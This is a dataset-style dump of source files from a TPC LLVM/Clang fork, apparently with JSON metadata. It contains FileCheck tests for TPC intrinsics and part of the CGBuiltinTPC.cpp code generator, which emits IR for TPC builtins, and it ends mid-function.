CHECK-DAG: mov{{.*}}\t[[PRED:%SP[0-9]+]], %S3\n\n // i_i32_mov_s_b\n {\n int5 res;\n \n res = *dest_ptr++;\n res = i_i32_mov_s_b(x, res, 0b00001, pred, 0);\n *dest_ptr++ = res[0];\n// CHECK: mov b00001 %I{{[0-9+]+}}, %S{{[0-9]+}}, [[PRED]]\n \n res = *dest_ptr++;\n res = i_i32_mov_s_b(123, res, 0b11111, pred, 1);\n *dest_ptr++ = res[0];\n// CHECK: mov b11111 %I{{[0-9+]+}}, 0x7b, ![[PRED]]\n }\n\n // i_i32_mov_s\n {\n int5 res;\n \n res = *dest_ptr++;\n res = i_i32_mov_s(x, res, 0b00001);\n *dest_ptr++ = res[0];\n// CHECK: mov b00001 %I{{[0-9+]+}}, %S{{[0-9]+}}\n \n res = *dest_ptr++;\n res = i_i32_mov_s(123, res, 0b11111);\n *dest_ptr++ = res[0];\n// CHECK: mov b11111 %I{{[0-9+]+}}, 0x7b\n }\n\n // i_i32_mov_i_b\n {\n int5 res;\n \n res = *dest_ptr++;\n res = i_i32_mov_i_b(src, res, 0b00001, pred, 0);\n *dest_ptr++ = res[0];\n// CHECK: mov b00001 %I{{[0-9+]+}}, %I{{[0-9]+}}, [[PRED]]\n }\n\n // i_i32_mov_i\n {\n int5 res;\n \n res = *dest_ptr++;\n res = i_i32_mov_s(src, res, 0b00001);\n *dest_ptr++ = res[0];\n// CHECK: mov b00001 %I{{[0-9+]+}}, %I{{[0-9]+}}\n }\n}\n" }, { "alpha_fraction": 0.3772026300430298, "alphanum_fraction": 0.49559471011161804, "avg_line_length": 31.428571701049805, "blob_id": "967a5b07f166e9651a16ebfaf02e2c3ac6e0a6cc", "content_id": "66b92636849d2598319c9f0a8f03b08c1fd9b74d", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1816, "license_type": "permissive", "max_line_length": 106, "num_lines": 56, "path": "/clang/test/RC99/IntrinsicsM/mul/s_i32_mul.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\n\nvoid main(int x0, int x1, int dest, _Bool pred) {\n int __local *dptr = (int __local *)dest;\n int res = 0;\n\n res = s_i32_mul(x0, x1, 0, res, 1, 0);\n *dptr++ = res;\n // CHECK: mul.i32 %S{{[0-9]+}}, %S0, %S1, %SP0\n\n res = s_i32_mul(x0, x1, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.i32 %S{{[0-9]+}}, %S0, %S1, %SP{{[0-9]+}}\n\n res = s_i32_mul(x0, x1, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.i32 %S{{[0-9]+}}, %S0, %S1, !%SP{{[0-9]+}}\n\n res = s_i32_mul(x0, x1, SW_UPPER32, res, 1, 0);\n *dptr++ = res;\n // CHECK: mul.i32 upper32 %S{{[0-9]+}}, %S0, %S1, %SP0\n\n res = s_i32_mul(x0, x1, SW_UPPER32, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.i32 upper32 %S{{[0-9]+}}, %S0, %S1, %SP{{[0-9]+}}\n\n res = s_i32_mul(x0, x1, SW_UPPER32, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.i32 upper32 %S{{[0-9]+}}, %S0, %S1, !%SP{{[0-9]+}}\n\n res = s_i32_mul(x0, 123, 0, res, 1, 0);\n *dptr++ = res;\n // CHECK: mul.i32 %S{{[0-9]+}}, %S0, 0x7b, %SP0\n\n res = s_i32_mul(x0, 123, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.i32 %S{{[0-9]+}}, %S0, 0x7b, %SP{{[0-9]+}}\n\n res = s_i32_mul(x0, 123, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.i32 %S{{[0-9]+}}, %S0, 0x7b, !%SP{{[0-9]+}}\n\n res = s_i32_mul(x0, 123, SW_UPPER32, res, 1, 0);\n *dptr++ = res;\n // CHECK: mul.i32 upper32 %S{{[0-9]+}}, %S0, 0x7b, %SP0\n\n res = s_i32_mul(x0, 123, SW_UPPER32, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.i32 upper32 %S{{[0-9]+}}, %S0, 0x7b, %SP{{[0-9]+}}\n\n res = s_i32_mul(x0, 123, SW_UPPER32, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.i32 upper32 %S{{[0-9]+}}, %S0, 0x7b, !%SP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.6595091819763184, "alphanum_fraction": 0.6840490698814392, "avg_line_length": 63.79999923706055, "blob_id": "e735bf7ab27fb557269bb4aae35b66b5a2a6db15", "content_id": "755c0ef5bb71f8a2c331e75be32fde381799a3d0", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 326, "license_type": "permissive", "max_line_length": 96, "num_lines": 5, "path": "/clang/test/RC99/driver/driver-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %clang -target tpc -std=rc99 %s -o - 2>&1 | FileCheck --check-prefix=NOLINK %s\n// NOLINK: error: linker is unavailable for this target\n\n// RUN: not %clang -target tpc -std=rc99 %s %s.xxx -o - 2>&1 | FileCheck --check-prefix=MULTI %s\n// MULTI: error: only one input file is allowed in compilation for this target\n\n\n" }, { "alpha_fraction": 0.6116976141929626, "alphanum_fraction": 0.6549221873283386, "avg_line_length": 36.406829833984375, "blob_id": "788d7e71db7dac4b7ceef9f32e9e752a916bd14d", "content_id": "a294371c442f83f370333c4f0e651628c939ac8f", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 247521, "license_type": "permissive", "max_line_length": 163, "num_lines": 6617, "path": "/clang/lib/CodeGen/CGBuiltinTPC.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===--------CGBuiltinTPC.cpp ====Code Gen Builtin TPC----------*- C++ -*-===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This contains code to emit Builtin calls as LLVM code.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"CodeGenFunction.h\"\n#include \"clang/AST/Attr.h\"\n#include \"clang/AST/ASTContext.h\"\n#include \"clang/AST/Decl.h\"\n#include \"clang/Basic/TargetBuiltins.h\"\n#include \"llvm/IR/Intrinsics.h\"\n#include \"llvm/IR/IntrinsicsTPC.h\"\n#include \"../lib/Target/TPC/MCTargetDesc/InstructionDB.h\"\n\n#include <map>\n\nusing namespace clang;\nusing namespace CodeGen;\nusing namespace llvm;\n\nstatic Value *emitAutogeneratedIntrinsic(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E,\n ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch);\n\n\nstatic const uint32_t Mask64_0[64] = {\n 0, 1, 2, 3, 4, 5, 6, 7,\n 8, 9, 10, 11, 12, 13, 14, 15,\n 16, 17, 18, 19, 20, 21, 22, 23,\n 24, 25, 26, 27, 28, 29, 30, 31,\n 32, 33, 34, 35, 36, 37, 38, 39,\n 40, 41, 42, 43, 44, 45, 46, 47,\n 48, 49, 50, 51, 52, 53, 54, 55,\n 56, 57, 58, 59, 60, 61, 62, 63\n};\nstatic const uint32_t Mask64_1[64] = {\n 64, 65, 66, 67, 68, 69, 70, 71,\n 72, 73, 74, 75, 76, 77, 78, 79,\n 80, 81, 82, 83, 84, 85, 86, 87,\n 88, 89, 90, 91, 92, 93, 94, 95,\n 96, 97, 98, 99, 100, 101, 102, 103,\n 104, 105, 106, 107, 108, 109, 110, 111,\n 112, 113, 114, 115, 116, 117, 118, 119,\n 120, 121, 122, 123, 124, 125, 126, 127\n};\nstatic const uint32_t Mask64_2[64] = {\n 128, 129, 130, 131, 132, 133, 134, 135,\n 136, 137, 138, 139, 140, 141, 142, 143,\n 144, 145, 146, 147, 148, 149, 150, 151,\n 152, 153, 154, 155, 156, 157, 158, 159,\n 160, 161, 162, 163, 164, 165, 166, 167,\n 168, 169, 170, 171, 172, 173, 174, 175,\n 176, 177, 178, 179, 180, 181, 182, 183,\n 184, 185, 186, 187, 188, 189, 190, 191\n};\nstatic const uint32_t Mask64_3[64] = {\n 192, 193, 194, 195, 196, 197, 198, 199,\n 200, 201, 202, 203, 204, 205, 206, 207,\n 208, 209, 210, 211, 212, 213, 214, 215,\n 216, 217, 218, 219, 220, 221, 222, 223,\n 224, 225, 226, 227, 228, 229, 230, 231,\n 232, 233, 234, 235, 236, 237, 238, 239,\n 240, 241, 242, 243, 244, 245, 246, 247,\n 248, 249, 250, 251, 252, 253, 254, 255\n};\nstatic const uint32_t Mask128_0[128] = {\n 0, 1, 2, 3, 4, 5, 6, 7,\n 8, 9, 10, 11, 12, 13, 14, 15,\n 16, 17, 18, 19, 20, 21, 22, 23,\n 24, 25, 26, 27, 28, 29, 30, 31,\n 32, 33, 34, 35, 36, 37, 38, 39,\n 40, 41, 42, 43, 44, 45, 46, 47,\n 48, 49, 50, 51, 52, 53, 54, 55,\n 56, 57, 58, 59, 60, 61, 62, 63,\n 64, 65, 66, 67, 68, 69, 70, 71,\n 72, 73, 74, 75, 76, 77, 78, 79,\n 80, 81, 82, 83, 84, 85, 86, 87,\n 88, 89, 90, 91, 92, 93, 94, 95,\n 96, 97, 98, 99, 100, 101, 102, 103,\n 104, 105, 106, 107, 108, 109, 110, 111,\n 112, 113, 114, 115, 116, 117, 118, 119,\n 120, 121, 122, 123, 124, 125, 126, 127\n};\nstatic const uint32_t Mask128_1[128] = {\n 128, 129, 130, 131, 132, 133, 134, 135,\n 136, 137, 138, 139, 140, 141, 142, 143,\n 144, 145, 146, 147, 148, 149, 150, 151,\n 152, 153, 154, 155, 156, 157, 158, 159,\n 160, 161, 162, 163, 164, 165, 166, 167,\n 168, 169, 170, 171, 172, 173, 174, 175,\n 176, 177, 178, 179, 180, 181, 182, 183,\n 184, 185, 186, 187, 188, 189, 190, 191,\n 192, 193, 194, 195, 196, 197, 198, 199,\n 200, 201, 202, 203, 204, 205, 206, 207,\n 208, 209, 210, 211, 212, 213, 214, 215,\n 216, 217, 218, 219, 220, 221, 222, 223,\n 224, 225, 226, 227, 228, 229, 230, 231,\n 232, 233, 234, 235, 236, 237, 238, 239,\n 240, 241, 242, 243, 244, 245, 246, 247,\n 248, 249, 250, 251, 252, 253, 254, 255\n};\n\nstatic const uint32_t Mask256_0[256] = {\n 0, 1, 2, 3, 4, 5, 6, 7,\n 8, 9, 10, 11, 12, 13, 14, 15,\n 16, 17, 18, 19, 20, 21, 22, 23,\n 24, 25, 26, 27, 28, 29, 30, 31,\n 32, 33, 34, 35, 36, 37, 38, 39,\n 40, 41, 42, 43, 44, 45, 46, 47,\n 48, 49, 50, 51, 52, 53, 54, 55,\n 56, 57, 58, 59, 60, 61, 62, 63,\n 64, 65, 66, 67, 68, 69, 70, 71,\n 72, 73, 74, 75, 76, 77, 78, 79,\n 80, 81, 82, 83, 84, 85, 86, 87,\n 88, 89, 90, 91, 92, 93, 94, 95,\n 96, 97, 98, 99, 100, 101, 102, 103,\n 104, 105, 106, 107, 108, 109, 110, 111,\n 112, 113, 114, 115, 116, 117, 118, 119,\n 120, 121, 122, 123, 124, 125, 126, 127,\n 128, 129, 130, 131, 132, 133, 134, 135,\n 136, 137, 138, 139, 140, 141, 142, 143,\n 144, 145, 146, 147, 148, 149, 150, 151,\n 152, 153, 154, 155, 156, 157, 158, 159,\n 160, 161, 162, 163, 164, 165, 166, 167,\n 168, 169, 170, 171, 172, 173, 174, 175,\n 176, 177, 178, 179, 180, 181, 182, 183,\n 184, 185, 186, 187, 188, 189, 190, 191,\n 192, 193, 194, 195, 196, 197, 198, 199,\n 200, 201, 202, 203, 204, 205, 206, 207,\n 208, 209, 210, 211, 212, 213, 214, 215,\n 216, 217, 218, 219, 220, 221, 222, 223,\n 224, 225, 226, 227, 228, 229, 230, 231,\n 232, 233, 234, 235, 236, 237, 238, 239,\n 240, 241, 242, 243, 244, 245, 246, 247,\n 248, 249, 250, 251, 252, 253, 254, 255\n};\n\nstatic const uint32_t Mask256_1[256] = {\n 256, 257, 258, 259, 260, 261, 262, 263,\n 264, 265, 266, 267, 268, 269, 270, 271,\n 272, 273, 274, 275, 276, 277, 278, 279,\n 280, 281, 282, 283, 284, 285, 286, 287,\n 288, 289, 290, 291, 292, 293, 294, 295,\n 296, 297, 298, 299, 300, 301, 302, 303,\n 304, 305, 306, 307, 308, 309, 310, 311,\n 312, 313, 314, 315, 316, 317, 318, 319,\n 320, 321, 322, 323, 324, 325, 326, 327,\n 328, 329, 330, 331, 332, 333, 334, 335,\n 336, 337, 338, 339, 340, 341, 342, 343,\n 344, 345, 346, 347, 348, 349, 350, 351,\n 352, 353, 354, 355, 356, 357, 358, 359,\n 360, 361, 362, 363, 364, 365, 366, 367,\n 368, 369, 370, 371, 372, 373, 374, 375,\n 376, 377, 378, 379, 380, 381, 382, 383,\n 384, 385, 386, 387, 388, 389, 390, 391,\n 392, 393, 394, 395, 396, 397, 398, 399,\n 400, 401, 402, 403, 404, 405, 406, 407,\n 408, 409, 410, 411, 412, 413, 414, 415,\n 416, 417, 418, 419, 420, 421, 422, 423,\n 424, 425, 426, 427, 428, 429, 430, 431,\n 432, 433, 434, 435, 436, 437, 438, 439,\n 440, 441, 442, 443, 444, 445, 446, 447,\n 448, 449, 450, 451, 452, 453, 454, 455,\n 456, 457, 458, 459, 460, 461, 462, 463,\n 464, 465, 466, 467, 468, 469, 470, 471,\n 472, 473, 474, 475, 476, 477, 478, 479,\n 480, 481, 482, 483, 484, 485, 486, 487,\n 488, 489, 490, 491, 492, 493, 494, 495,\n 496, 497, 498, 499, 500, 501, 502, 503,\n 504, 505, 506, 507, 508, 509, 510, 511\n};\n\nstatic llvm::Value *getStructFieldFromQuadRegister(CodeGenFunction &CGF,\n llvm::Type *ResultTy, llvm::Value *V) {\n llvm::Type *InputType = V->getType();\n assert(isa<llvm::VectorType>(InputType));\n assert(cast<llvm::VectorType>(InputType)->getNumElements() == 256);\n llvm::Value *UV = llvm::UndefValue::get(InputType);\n llvm::Value *Field0 = CGF.Builder.CreateShuffleVector(V, UV, Mask64_0);\n llvm::Value *Field1 = CGF.Builder.CreateShuffleVector(V, UV, Mask64_1);\n llvm::Value *Field2 = CGF.Builder.CreateShuffleVector(V, UV, Mask64_2);\n llvm::Value *Field3 = CGF.Builder.CreateShuffleVector(V, UV, Mask64_3);\n\n llvm::Value *StructU = llvm::UndefValue::get(ResultTy);\n llvm::Value *Struct0 = CGF.Builder.CreateInsertValue(StructU, Field0, 0ULL);\n llvm::Value *Struct1 = CGF.Builder.CreateInsertValue(Struct0, Field1, 1ULL);\n llvm::Value *Struct2 = CGF.Builder.CreateInsertValue(Struct1, Field2, 2ULL);\n llvm::Value *Struct3 = CGF.Builder.CreateInsertValue(Struct2, Field3, 3ULL);\n\n return Struct3;\n}\n\nstatic llvm::Value *getStructFieldFromDoubleRegister(CodeGenFunction &CGF,\n llvm::Type *ResultTy, llvm::Value *V) {\n llvm::VectorType *InputType = cast<llvm::VectorType>(V->getType());\n llvm::Type *EltType = InputType->getVectorElementType();\n unsigned NumElements = InputType->getVectorNumElements();\n unsigned ElementSize = EltType->getScalarSizeInBits();\n (void)NumElements;\n assert(NumElements * ElementSize == 2 * 64 * 32);\n llvm::Value *UV = llvm::UndefValue::get(InputType);\n ArrayRef<uint32_t> Mask0, Mask1;\n switch (ElementSize) {\n case 32:\n Mask0 = ArrayRef<uint32_t>(Mask64_0);\n Mask1 = ArrayRef<uint32_t>(Mask64_1);\n break;\n case 16:\n Mask0 = ArrayRef<uint32_t>(Mask128_0);\n Mask1 = ArrayRef<uint32_t>(Mask128_1);\n break;\n case 8:\n Mask0 = ArrayRef<uint32_t>(Mask256_0);\n Mask1 = ArrayRef<uint32_t>(Mask256_1);\n break;\n default:\n llvm_unreachable(\"Unsupported element size\");\n }\n llvm::Value *Field0 = CGF.Builder.CreateShuffleVector(V, UV, Mask0);\n llvm::Value *Field1 = CGF.Builder.CreateShuffleVector(V, UV, Mask1);\n\n llvm::StructType *StTy = cast<llvm::StructType>(ResultTy);\n if (StTy->getContainedType(0) != Field0->getType()) {\n Field0 = CGF.Builder.CreateBitCast(Field0, StTy->getContainedType(0));\n }\n if (StTy->getContainedType(1) != Field1->getType()) {\n Field1 = CGF.Builder.CreateBitCast(Field1, StTy->getContainedType(1));\n }\n\n llvm::Value *StructU = llvm::UndefValue::get(ResultTy);\n llvm::Value *Struct0 = CGF.Builder.CreateInsertValue(StructU, Field0, 0ULL);\n llvm::Value *Struct1 = CGF.Builder.CreateInsertValue(Struct0, Field1, 1ULL);\n\n return Struct1;\n}\n\nstatic llvm::Value *getStructFieldFromDoubleScalarRegister(CodeGenFunction &CGF,\n llvm::Type *ResultTy, llvm::Value *V) {\n llvm::VectorType *InputType = cast<llvm::VectorType>(V->getType());\n (void)InputType;\n assert(InputType->getVectorNumElements() == 2);\n llvm::StructType *StTy = cast<llvm::StructType>(ResultTy);\n assert(StTy->getNumElements() == 2);\n\n llvm::Value *Field0 = CGF.Builder.CreateExtractElement(V, CGF.Builder.getInt32(0));\n llvm::Value *Field1 = CGF.Builder.CreateExtractElement(V, CGF.Builder.getInt32(1));\n\n if (StTy->getContainedType(0) != Field0->getType()) {\n Field0 = CGF.Builder.CreateTruncOrBitCast(Field0, StTy->getContainedType(0));\n }\n if (StTy->getContainedType(1) != Field1->getType()) {\n Field1 = CGF.Builder.CreateTruncOrBitCast(Field1, StTy->getContainedType(1));\n }\n\n llvm::Value *StructU = llvm::UndefValue::get(ResultTy);\n llvm::Value *Struct0 = CGF.Builder.CreateInsertValue(StructU, Field0, 0U);\n llvm::Value *Struct1 = CGF.Builder.CreateInsertValue(Struct0, Field1, 1U);\n\n return Struct1;\n}\n\n\nstatic llvm::TPCII::OpType getOptypeValue(QualType Ty) {\n BuiltinType::Kind kind;\n if (auto BT = Ty->getAs<BuiltinType>()) {\n kind = BT->getKind();\n } else if (auto VT = Ty->getAs<clang::VectorType>()) {\n //bool256 processing\n if (32 == VT->getNumElements())\n kind = BuiltinType::Bool;\n else\n kind = VT->getElementType()->getAs<BuiltinType>()->getKind();\n } else if (const RecordType * ST = Ty->getAs<clang::RecordType>()) {\n kind = ST->getDecl()->field_begin()->getType()->getAs<clang::VectorType>()->getElementType()->getAs<BuiltinType>()->getKind();\n } else {\n llvm_unreachable(\"Unexpected type\");\n }\n//V32c\n switch (kind) {\n case BuiltinType::Float: return TPCII::OpType::FP32;\n case BuiltinType::BFloat16: return TPCII::OpType::BF16;\n case BuiltinType::Float8_152: return TPCII::OpType::FP8_152;\n case BuiltinType::Float8_143: return TPCII::OpType::FP8_143;\n case BuiltinType::Char_S: return TPCII::OpType::INT8;\n case BuiltinType::Short: return TPCII::OpType::INT16;\n case BuiltinType::Int: return TPCII::OpType::INT32;\n case BuiltinType::UChar: return TPCII::OpType::UINT8;\n case BuiltinType::UShort: return TPCII::OpType::UINT16;\n case BuiltinType::UInt: return TPCII::OpType::UINT32;\n case BuiltinType::Half: return TPCII::OpType::FP16;\n case BuiltinType::Bool: return TPCII::OpType::BOOL;\n default:\n llvm_unreachable(\"Unexpected type\");\n }\n}\n\n\n/// Checks if an instruction with the gived predicate and polarity always\n/// executes.\nstatic bool isUnconditional(Value *Predicate, Value *Polarity) {\n // Polarity is always constant.\n auto CPol = cast<ConstantInt>(Polarity);\n if (auto CPr = dyn_cast<ConstantInt>(Predicate))\n return (!CPol->getLimitedValue() && CPr->getLimitedValue()) ||\n (CPol->getLimitedValue() && !CPr->getLimitedValue());\n return false;\n}\n\n\nstatic llvm::Type *getIRType(CodeGenFunction *CGF, QualType T, unsigned &Multiplicity) {\n Multiplicity = 0;\n if (auto *STy = T.getCanonicalType()->getAs<RecordType>()) {\n // Assume that the number of elements in the structure is same as long vector\n // multiplicity.\n QualType ElementTy;\n llvm::Type *ElTy = nullptr;\n unsigned ElementSize = 0;\n for (const Decl *D : STy->getDecl()->fields()) {\n const auto *FD = cast<FieldDecl>(D);\n assert(FD->getType()->isIntegerType() || FD->getType()->isVectorType());\n if (ElementTy.isNull()) {\n ElementTy = FD->getType();\n ElTy = CGF->ConvertType(ElementTy);\n ElementSize = ElTy->getPrimitiveSizeInBits();\n } else {\n llvm::Type *ItemTy = CGF->ConvertType(FD->getType());\n assert(ItemTy->getPrimitiveSizeInBits() == ElementSize);\n }\n ++Multiplicity;\n }\n assert(Multiplicity == 2 || Multiplicity == 4);\n if (isa<llvm::VectorType>(ElTy))\n return llvm::VectorType::get(ElTy->getVectorElementType(),\n Multiplicity * ElTy->getVectorNumElements());\n return llvm::VectorType::get(ElTy, Multiplicity);\n }\n return CGF->ConvertType(T.getCanonicalType());\n}\n\n\nstatic unsigned getSwitchForDestination(llvm::TPCII::OpType Ty) {\n switch (Ty) {\n case TPCII::OpType::FP32: return TPCII::SW_TO_FP32;\n case TPCII::OpType::BF16: return TPCII::SW_TO_BF16;\n case TPCII::OpType::FP16: return TPCII::SW_TO_FP16;\n case TPCII::OpType::INT32: return TPCII::SW_TO_INT32;\n case TPCII::OpType::UINT32: return TPCII::SW_TO_UINT32;\n case TPCII::OpType::INT16: return TPCII::SW_TO_INT16;\n case TPCII::OpType::UINT16: return TPCII::SW_TO_UINT16;\n case TPCII::OpType::INT8: return TPCII::SW_TO_INT8;\n case TPCII::OpType::UINT8: return TPCII::SW_TO_UINT8;\n case TPCII::OpType::FP8_143: return TPCII::SW_TO_FP8_143;\n case TPCII::OpType::FP8_152: return TPCII::SW_TO_FP8_152;\n default:\n llvm_unreachable(\"Unknown target type in CONVERT\");\n }\n}\n\n\nstatic llvm::Value *emitPredicate(CodeGenFunction *CGF, const Expr *Pred) {\n if (Pred->getType()->isVectorType()) {\n unsigned NumElements = Pred->getType()->getAs<clang::VectorType>()->getNumElements();\n (void)NumElements;\n assert(NumElements == 32 || NumElements == 16 || NumElements == 8);\n assert(Pred->getType()->getAs<clang::VectorType>()->getElementType()->isUnsignedIntegerType());\n assert(Pred->getType()->getAs<clang::VectorType>()->getElementType()->isCharType());\n llvm::Value *V = CGF->EmitScalarExpr(Pred);\n assert(V->getType()->getVectorElementType()->getIntegerBitWidth() == 1);\n if (V->getType()->getVectorElementCount().Min == 256)\n return V;\n static llvm::Type *VectorPredicateType =\n llvm::VectorType::get(llvm::Type::getInt1Ty(CGF->getLLVMContext()), 256);\n return CGF->Builder.CreateBitCast(V, VectorPredicateType);\n }\n\n return CGF->EvaluateExprAsBool(Pred);\n}\n\n\nstatic Value *emitOperand(CodeGenFunction *CGF, const Expr *E) {\n unsigned Multiplicity;\n llvm::Type *ResultTy = getIRType(CGF, E->getType(), Multiplicity);\n\n if (Multiplicity) {\n LValue IncomeLV = CGF->EmitAggExprToLValue(E);\n Value *Ptr = IncomeLV.getPointer(*CGF);\n Ptr = CGF->Builder.CreateBitOrPointerCast(Ptr, llvm::PointerType::get(ResultTy, 0));\n return CGF->Builder.CreateAlignedLoad(Ptr, CharUnits::fromQuantity(256));\n }\n\n return CGF->EmitScalarExpr(E);\n}\n\n\nstatic unsigned translateGen1RoundingMode(unsigned Switches) {\n unsigned RM = Switches & TPCII::SW_GROUP_RM;\n switch (RM) {\n case TPCII::SW_RHNE:\n RM = TPCII::SW_G1_RHNE;\n break;\n case TPCII::SW_RD:\n RM = TPCII::SW_G1_RD;\n break;\n case TPCII::SW_RU:\n RM = TPCII::SW_G1_RU;\n break;\n case TPCII::SW_SR:\n RM = TPCII::SW_G1_SR;\n break;\n case TPCII::SW_RZ:\n RM = TPCII::SW_G1_RZ;\n break;\n case TPCII::SW_CSR:\n break;\n default:\n llvm_unreachable(\"Unsupported rounding mode\");\n }\n Switches &= ~TPCII::SW_GROUP_RM;\n return Switches | RM;\n}\n\n\n//------------------------------------------------------------------------------\n// Builtin call emitters.\n//------------------------------------------------------------------------------\n\nstatic Value *emit_CONVERT_TO(CodeGenFunction *CGF, unsigned BuiltinID,\n const CallExpr *E, ReturnValueSlot ReturnValue,\n llvm::Triple::ArchType Arch) {\n const unsigned ArgOpNum = 0;\n const unsigned OptionsOpNum = 1;\n\n const Expr *Src = E->getArg(ArgOpNum);\n QualType SrcElementType = Src->getType();\n if (SrcElementType->isRecordType())\n SrcElementType = SrcElementType->getAs<RecordType>()->getDecl()->field_begin()->getType();\n if (SrcElementType->isVectorType())\n SrcElementType = SrcElementType->getAs<clang::VectorType>()->getElementType();\n unsigned SrcMultiplicity;\n llvm::Type *SrcTy = getIRType(CGF, Src->getType(), SrcMultiplicity);\n\n QualType DestElementType = E->getType();\n if (DestElementType->isRecordType())\n DestElementType = DestElementType->getAs<RecordType>()->getDecl()->field_begin()->getType();\n if (DestElementType->isVectorType())\n DestElementType = DestElementType->getAs<clang::VectorType>()->getElementType();\n unsigned DestMultiplicity;\n llvm::Type *DestTy = getIRType(CGF, E->getType(), DestMultiplicity);\n llvm::Type *FEDestTy = DestMultiplicity ? CGF->ConvertType(E->getType()) : DestTy;\n\n assert(DestTy->isVectorTy());\n assert(SrcTy->isVectorTy());\n assert(SrcTy->getVectorNumElements() == DestTy->getVectorNumElements());\n\n llvm::Type *SrcElTy = SrcTy->getVectorElementType();\n llvm::Type *DestElTy = DestTy->getVectorElementType();\n\n // Determine switches. We use them when the convertion cannot be represented\n // by regular IR nodes.\n\n // Get specified switches.\n Expr::EvalResult ResVal;\n bool R = E->getArg(OptionsOpNum)->EvaluateAsRValue(ResVal, CGF->getContext());\n assert(R); (void)R;\n unsigned SwitchVal = (unsigned)ResVal.Val.getInt().getLimitedValue();\n const unsigned Options = SwitchVal;\n\n // Check if the switchset contains only allowed switches.\n assert((SwitchVal & ~TPCII::SW_GROUP_RM) == 0);\n\n // Add target type specification to the switchset.\n llvm::TPCII::OpType TargetDT = getOptypeValue(E->getType());\n SwitchVal |= getSwitchForDestination(TargetDT);\n\n Value *SrcVal = emitOperand(CGF, Src);\n Value *Result = nullptr;\n\n if (Options == 0) {\n if (SrcElTy->isFloatingPointTy() && DestElTy->isFloatingPointTy()) {\n // Conversions bfloat16<->half and f8_143<->f8_152 are neither extending\n // nor narrowing. Create a call to intrinsic functin in such case.\n if ((SrcElTy->isBFloat16Ty() && DestElTy->isHalfTy()) ||\n (SrcElTy->isHalfTy() && DestElTy->isBFloat16Ty()) ||\n (SrcElTy->isF8_143Ty() && DestElTy->isF8_152Ty()) ||\n (SrcElTy->isF8_152Ty() && DestElTy->isF8_143Ty())) {\n\n // For other float types we generate fptrunc of fpext.\n } else if (SrcElTy->getPrimitiveSizeInBits() > DestElTy->getPrimitiveSizeInBits()) {\n Result = CGF->Builder.CreateFPTrunc(SrcVal, DestTy);\n } else {\n Result = CGF->Builder.CreateFPExt(SrcVal, DestTy);\n }\n }\n\n else if (SrcElTy->isIntegerTy() && DestElTy->isIntegerTy()) {\n // Conversion of uint<->int, ushort<->short and uchar<->char are not neither\n // extensions nor truncation, so create a call to corresponding intrinsic\n // function.\n if (SrcElTy->getPrimitiveSizeInBits() == DestElTy->getPrimitiveSizeInBits()) {\n assert(SrcElementType->isUnsignedIntegerType() != DestElementType->isUnsignedIntegerType());\n } else if (SrcElTy->getPrimitiveSizeInBits() > DestElTy->getPrimitiveSizeInBits()) {\n Result = CGF->Builder.CreateTrunc(SrcVal, DestTy);\n } else {\n if (SrcElementType->isUnsignedIntegerType() || DestElementType->isUnsignedIntegerType())\n Result = CGF->Builder.CreateZExt(SrcVal, DestTy);\n else\n Result = CGF->Builder.CreateSExt(SrcVal, DestTy);\n }\n }\n\n else if (SrcElTy->isIntegerTy() && DestElTy->isFloatingPointTy()) {\n if (SrcElementType->isUnsignedIntegerType())\n Result = CGF->Builder.CreateUIToFP(SrcVal, DestTy);\n else\n Result = CGF->Builder.CreateSIToFP(SrcVal, DestTy);\n }\n } else if ((Options & TPCII::SW_GROUP_RM) == TPCII::SW_RZ) {\n if (SrcElTy->isFloatingPointTy() && DestElTy->isIntegerTy()) {\n // In C conversion float->int is performed using rounding to zero. All\n // other rounding modes require call of TPC intrinsic.\n if (DestElementType->isUnsignedIntegerType())\n Result = CGF->Builder.CreateFPToUI(SrcVal, DestTy);\n else\n Result = CGF->Builder.CreateFPToSI(SrcVal, DestTy);\n }\n }\n\n // If we cannot use LLVM IR node, call conversion intrinsic.\n if (!Result) {\n auto *BitTy = llvm::IntegerType::get(CGF->getLLVMContext(), 1);\n Function *Callee = CGF->CGM.getIntrinsic(Intrinsic::tpc_convert,\n { DestTy, SrcTy, BitTy });\n SmallVector<llvm::Value *, 6> Args;\n Args.push_back(SrcVal);\n Args.push_back(llvm::ConstantInt::get(CGF->Int8Ty,\n getOptypeValue(E->getArg(0)->getType())));\n Args.push_back(llvm::ConstantInt::get(CGF->Int32Ty, SwitchVal));\n Args.push_back(UndefValue::get(DestTy));\n Args.push_back(llvm::ConstantInt::get(BitTy, 1));\n Args.push_back(llvm::ConstantInt::get(BitTy, 0));\n\n Result = CGF->Builder.CreateCall(Callee, Args);\n assert(Result);\n }\n\n if (DestMultiplicity == 0)\n return Result;\n if (DestMultiplicity == 4)\n Result = getStructFieldFromQuadRegister(*CGF, FEDestTy, Result);\n else\n Result = getStructFieldFromDoubleRegister(*CGF, 